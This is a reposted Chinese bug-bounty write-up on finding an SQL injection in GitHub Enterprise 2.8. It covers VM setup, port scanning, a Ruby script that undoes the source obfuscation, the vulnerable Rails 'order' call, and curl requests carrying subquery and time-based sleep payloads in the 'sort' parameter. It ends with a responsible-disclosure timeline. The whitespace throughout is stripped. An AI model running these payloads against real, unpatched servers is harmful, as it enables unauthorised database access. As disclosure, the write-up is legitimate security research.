看我如何发现Github企业版程序SQL注入漏洞并获得

看我如何发现Github企业版程序SQL注入漏洞并获得,第1张

看我如何发现Github企业版程序SQL注入漏洞并获得

GitHubEnterpriseEdition软件是一个商业应用程序,旨在为企业在内部网部署开发服务而设计。Github企业版以标准OVF格式集成,并作为虚拟机(VM)映像发布。您可以在enterprise.github.com网站上注册和下载45天试用版,并将其部署在任何虚拟机环境中。通过下载其试用版软件进行分析,我花了一周时间发现了SQL注入漏洞,并因该漏洞获得了5000美元的赏金。

GithubenterpriseVM环境安装后的效果如下:

现在Github已经建好了,我们可以在虚拟机系统中进行深入的分析。

环境安全分析

对于Nmap,发现有6个开放的端口:

$nmap-sT-vv-p1-65535192.168.187.145...PORTSTATESERVICE22/tcpopenssh25/tcpclosedsmtp80/tcpopenhttp122/tcpopensmakynet443/tcpopenhttps8080/tcpclosedhttp-proxy8443/tcpopenhttps-alt9418/tcpopengit

这些端口的用途初步分析如下:

端口22/tcp和9418/tcp可用于进程haproxy转发后端服务babeld;

端口80/tcp和443/tcp用于Github主服务;

端口122/tcp用于SSH服务;

端口8443/tcp用于GitHub的管理控制台服务。

由于Github的管理控制台需要密码才能登录,所以可以设置密码,通过122端口的SSH服务连接到VM环境。SSH连接进入系统后,查看系统信息,发现几乎所有的GitHub服务代码都位于目录/data/:

#ls-al/data/total92drwxr-xr-x23rootroot4096Nov2912:54.drwxr-xr-x27rootroot4096Dec2819:18..drwxr-xr-x4gitgit4096Nov2912:54alambicdrwxr-xr-x4babeldbabeld4096Nov2912:53babelddrwxr-xr-x4gitgit4096Nov2912:54codeloaddrwxr-xr-x2rootroot4096Nov2912:54dbdrwxr-xr-x2rootroot4096Nov2912:52enterprisedrwxr-xr-x4enterprise-manageenterprise-manage4096Nov2912:53enterprise-managedrwxr-xr-x4gitgit4096Nov2912:54failbotddrwxr-xr-x3rootroot4096Nov2912:54git-hooksdrwxr-xr-x4gitgit4096Nov2912:53githubdrwxr-xr-x4gitgit4096Nov2912:54git-importdrwxr-xr-x4gitgit4096Nov2912:54gitmondrwxr-xr-x4gitgit4096Nov2912:54gpgverifydrwxr-xr-x4gitgit4096Nov2912:54hookshotdrwxr-xr-x4rootroot4096Nov2912:54lariatdrwxr-xr-x4rootroot4096Nov2912:54longpolldrwxr-xr-x4gitgit4096Nov2912:54mail-repliesdrwxr-xr-x4gitgit4096Nov2912:54pagesdrwxr-xr-x4rootroot4096Nov2912:54pages-luadrwxr-xr-x4gitgit4096Nov2912:54renderlrwxrwxrwx1rootroot23Nov2912:52repositories->/data/user/repositoriesdrwxr-xr-x4gitgit4096Nov2912:54slumlorddrwxr-xr-x20rootroot4096Dec2819:22user

检查文件的源代码,该文件似乎是用base64加密的:

GitHub使用自定义库来加密和混淆自己的源代码。如果你在谷歌搜索ruby_concealer.so,会发现有一个优秀的人分析过这种加密方法。只需在ruby_concealer.so中用rb_f_puts替换rb_f_eval即可实现解密。但是让我们实际看一看,打开IDAPro进行分析:

可以发现它的源程序使用了Zlib::Inflate::inflate类进行数据解压缩,并使用明文密钥作为异或运算。然而,有趣的是,这个明文密钥实际上是这样的:

这种加密旨在利用GitHub企业客户对虚拟机进行修改。我们知道这种“加密”很容易被破解。(我们知道这种加密很容易被破解,但其目的是防止github企业用户任意修改VM环境。)

哦,让人哭笑不得。

有了这些,我们可以构建自己的解密脚本:

require'zlib'key="ThisobfuscationisintendedtodiscourageGitHubEnterprisecustomersfrommakingmodificationstotheVM.Weknowthis'encryption'iseasilybroken."defdecrypt(s)i,plaintext=0,''Zlib::Inflate.inflate(s).each_bytedo|c|plaintext<<(c^key[i%key.length].ord).chri+=1endplaintextendcontent=File.open(ARGV[0],"r").readcontent.sub!%Q(require"ruby_concealer.so"n__ruby_concealer__),"decrypt"plaintext=evalcontentputsplaintext

代码分析

解密完程序源代码后,让我们试着审计一下代码:

$cloc/data/81267textfiles.47503uniquefiles.24550filesignored.http://cloc.sourceforge.netv1.60T=348.06s(103.5files/s,15548.9lines/s)-----------------------------------------------------------------------------------Languagefilesblankcommentcode-----------------------------------------------------------------------------------Ruby258543595454371251838503Javascript4351109994105296881416YAML60013493214289039Python11084486264025180400XML12164923223125556C4443090323966123938BourneShell852144901641787477HTML63624760200182526C++1848370889079139C/C++Header428116792277372226Java19866651430345187CSS4584641309244813BourneAgainShell1426196900635106m421325936929433...$./bin/rakeaboutAboutyourapplication'senvironmentRubyversion2.1.7(x86_64-linux)RubyGemsversion2.2.5Rackversion1.6.4Railsversion3.2.22.4JavaScriptRuntimeNode.js(V8)ActiveRecordversion3.2.22.4ActionPackversion3.2.22.4ActionMailerversion3.2.22.4ActiveSupportversion3.2.22.4MiddlewareGitHub::DefaultRoleMiddleware,Rack::Runtime,Rack::MethodOverride,ActionDispatch::RequestId,Rails::Rack::Logger,ActionDispatch::ShowExceptions,ActionDispatch::DebugExceptions,ActionDispatch::Callbacks,ActiveRecord::ConnectionAdapters::ConnectionManagement,ActionDispatch::Cookies,ActionDispatch::Session::CookieStore,ActionDispatch::Flash,ActionDispatch::ParamsParser,ActionDispatch::Head,Rack::ConditionalGet,Rack::ETag,ActionDispatch::BestStandardsSupportApplicationroot/data/github/9fcdcc8EnvironmentproductionDatabaseadaptergithubmysql2Databaseschemaversion20161003225024

从上面的分析可以看出,大部分是Ruby代码,可以发现:

程序通过80、443端口远程连接github.com、gist.github.com、api.github.com,更新目录/data/github/下的代码库;

目录/数据/渲染/可能是render.githubusercontent.com代码库;

该程序通过端口8443运行目录/data/enterprise-manage/下的服务。

漏洞分析

虽然我对Ruby并不熟悉,但是在学习和使用之后,我花了一周的时间才发现这个漏洞。以下是我的分析时间表:

第一天设置Github虚拟机环境

第二天设置Github虚拟机环境

第三天,学习Rails进行代码审计。

第四天,学习Rails进行代码审计。

第五天,学习Rails进行代码审计。

第六天,我发现了一个SQL注入漏洞。

该SQL注入漏洞存在于GitHub企业版程序的PreReceiveHookTarget模块中,其根源在于/data/GitHub/current/app/model/pre_receive_hook_target.Rb文件的第45行:

33scope:sorted_by,->(order,direction=nil){34direction="DESC"=="#{direction}".upcase?"DESC":"ASC"35select(<<-SQL)36#{table_name}.*,37CASEhookable_type38WHEN'global'THEN039WHEN'User'THEN140WHEN'Repository'THEN241ENDASpriority42SQL43.joins("JOINpre_receive_hookshookONhook_id=hook.id")44.readonly(false)45.order([order,direction].join(""))46}

虽然Rails中内置的对象关系映射ActiveRecord本身不允许SQL注入,但是一些误用的ActiveRecord实例也会导致SQL注入。详情请参考学习Rails-sqli.org。在这种情况下,我们可以通过控制order方法的参数来实现恶意代码注入。观察发现,sorted_by服务被data/github/current/app/API/org_pre_receive_hooks.Rb文件的第61行调用:

10get"/organizations/:organization_id/pre-receive-hooks"do11control_access:list_org_pre_receive_hooks,:org=>org=find_org!12@documentation_url<<"#list-pre-receive-hooks"13targets=PreReceiveHookTarget.visible_for_hookable(org)14targets=sort(targets).paginate(pagination)15GitHub::PrefillAssociations.for_pre_receive_hook_targetstargets16deliver:pre_receive_org_target_hash,targets17end...60defsort(scope)61scope.sorted_by("hook.#{params[:sort]||"id"}",params[:direction]||"asc")62end

可以清楚的看到params[:sort]被传递给了scope.sorted_by,所以我们可以尝试将恶意代码注入到params[:sort]中。

在触发此漏洞之前,accessAPI需要admin:pre_receive_hook函数具有有效的access_token值。令人高兴的是,我们可以通过以下命令获得它:

$curl-k-u'nogg:nogg''https://192.168.187.145/api/v3/authorizations'-d'{"scopes":"admin:pre_receive_hook","note":"x"}'{"id":4,"url":"https://192.168.187.145/api/v3/authorizations/4","app":{"name":"x","url":"https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/","client_id":"00000000000000000000"},"token":"????????","hashed_token":"1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4","token_last_eight":"1fadac36","note":"x","note_url":null,"created_at":"2017-01-05T22:17:32Z","updated_at":"2017-01-05T22:17:32Z","scopes":["admin:pre_receive_hook"],"fingerprint":null}

一旦获得有效的access_token值,漏洞将被触发:

$curl-k-H'Accept:application/vnd.github.eye-scream-preview''https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'[]$curl-k-H'Accept:application/vnd.github.eye-scream-preview''https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'{"message":"ServerError","documentation_url":"https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"}$curl-k-H'Accept:application/vnd.github.eye-scream-preview''https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user()){...}

漏洞提交流程

2016/12/2605:48通过HackerOne向GitHub举报漏洞

2016/12/2608:39GitHub反馈,表示已通过验证,正在修复;

2016/12/2615:48为GitHub提供更多漏洞细节;

2016/12/2802:44GitHub报道漏洞补丁将随GitHub企业版后续更新发布;

2017/01/0406:41GitHub回复给我5000美金奖励;

2017/01/0502:37咨询GitHub。介意我在个人博客里公布这个漏洞吗?

2017/01/0503:06GitHub说的很爽快,没问题!

2017/01/0507:06GitHubEnterprise2.8.5发布!

如果对这个漏洞感兴趣,可以自己部署Github企业版系统环境进行深入分析。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zz/771691.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-02
下一篇 2022-05-02

发表评论

登录后才能评论

评论列表(0条)

保存